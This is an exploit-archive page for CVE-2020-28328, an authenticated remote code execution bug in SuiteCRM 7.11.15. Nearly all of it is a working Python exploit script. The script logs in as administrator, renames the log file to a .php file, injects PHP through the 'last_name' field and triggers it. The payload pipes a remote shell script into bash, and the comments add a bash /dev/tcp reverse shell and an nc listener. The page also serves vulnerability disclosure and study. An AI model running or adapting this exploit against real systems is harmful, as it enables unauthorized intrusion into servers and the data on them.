SuiteCRM 7.11.15 Remote Code Execution

SuiteCRM version 7.11.15 suffers from an authenticated remote code execution vulnerability.


MD5 | 5f0ce04e7d4e850a72437c6c052dbe1d

# Exploit Title: SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated)
# Date: 08 NOV 2020
# Exploit Author: M. Cory Billington (@_th3y)
# Vendor Homepage: https://suitecrm.com/
# Software Link: https://github.com/salesagility/SuiteCRM
# Version: 7.11.15 and below
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2020-28328
# Writeup: https://github.com/mcorybillington/SuiteCRM-RCE

from requests import Session
from random import choice
from string import ascii_lowercase

url = "http://127.0.0.1/" # URL to remote host web root
post_url = "{url}index.php".format(url=url)
user_name = "admin" # User must be an administrator
password = "admin"
prefix = 'shell-'
file_name = '{prefix}{rand}.php'.format(
prefix=prefix,
rand=''.join(choice(ascii_lowercase) for _ in range(6))
)

# *Recommend K.I.S.S as some characters are escaped*
# Example for reverse shell:
# Put 'bash -c '(bash -i >& /dev/tcp/127.0.0.1/8080 0>&1)&' inside a file named shell.sh
# Stand up a python web server `python -m http.server 80` hosting shell.sh
# Set a nc listener to catch the shell 'nc -nlvp 8080'
command = '<?php `curl -s http://127.0.0.1/shell.sh | bash`; ?>'.format(fname=file_name)

# Admin login payload
login_data = {
"module": "Users",
"action": "Authenticate",
"return_module": "Users",
"return_action": "Login",
"user_name": user_name,
"username_password": password,
"Login": "Log+In"
}

# Payload to set logging to 'info' and create a log file in php format.
modify_system_settings_data = {
"action": (None, "SaveConfig"),
"module": (None, "Configurator"),
"logger_file_name": (None, file_name), # Set file extension in the file name as it isn't checked here
"logger_file_ext": (None, ''), # Bypasses file extension check by just not setting one.
"logger_level": (None, "info"), # This is important for your php code to make it into the logs
"save": (None, "Save")
}

# Payload to put php code into the malicious log file
poison_log = {
"module": (None, "Users"),
"record": (None, "1"),
"action": (None, "Save"),
"page": (None, "EditView"),
"return_action": (None, "DetailView"),
"user_name": (None, user_name),
"last_name": (None, command),
}

# Payload to restore the log file settings to default after the exploit runs
restore_log = {
"action": (None, "SaveConfig"),
"module": (None, "Configurator"),
"logger_file_name": (None, "suitecrm"), # Default log file name
"logger_file_ext": (None, ".log"), # Default log file extension
"logger_level": (None, "fatal"), # Default log file setting
"save": (None, "Save")
}

# Start of exploit
with Session() as s:

# Authenticating as the administrator
s.get(post_url, params={'module': 'Users', 'action': 'Login'})
print('[+] Got initial PHPSESSID:', s.cookies.get_dict()['PHPSESSID'])
s.post(post_url, data=login_data)
if 'ck_login_id_20' not in s.cookies.get_dict().keys():
print('[-] Invalid password for: {user}'.format(user=user_name))
exit(1)
print('[+] Authenticated as: {user}. PHPSESSID: {cookie}'.format(
user=user_name,
cookie=s.cookies.get_dict()['PHPSESSID'])
)

# Modify the system settings to set logging to 'info' and create a log file in php format
print('[+] Modifying log level and log file name.')
print('[+] File name will be: {fname}'.format(fname=file_name))
settings_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}
s.post(post_url, headers=settings_header, files=modify_system_settings_data)

# Post to update the administrator's last name with php code that will poison the log file
print('[+] Poisoning log file with php code: {cmd}'.format(cmd=command))
command_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}
s.post(url, headers=command_header, files=poison_log)

# May be a good idea to put a short delay in here to allow your code to make it into the logfile.
# Up to you though...

# Do a get request to trigger php code execution.
print('[+] Executing code. Sending GET request to: {url}{fname}'.format(url=url, fname=file_name))
execute_command = s.get('{url}/{fname}'.format(url=url, fname=file_name), timeout=1)
if not execute_command.ok:
print('[-] Exploit failed, sorry... Might have to do some modifications.')

# Restoring log file to default
print('[+] Setting log back to defaults')
s.post(post_url, headers=settings_header, files=restore_log)

print('[+] Done. Clean up {fname} if you care...'.format(fname=file_name))

Related Posts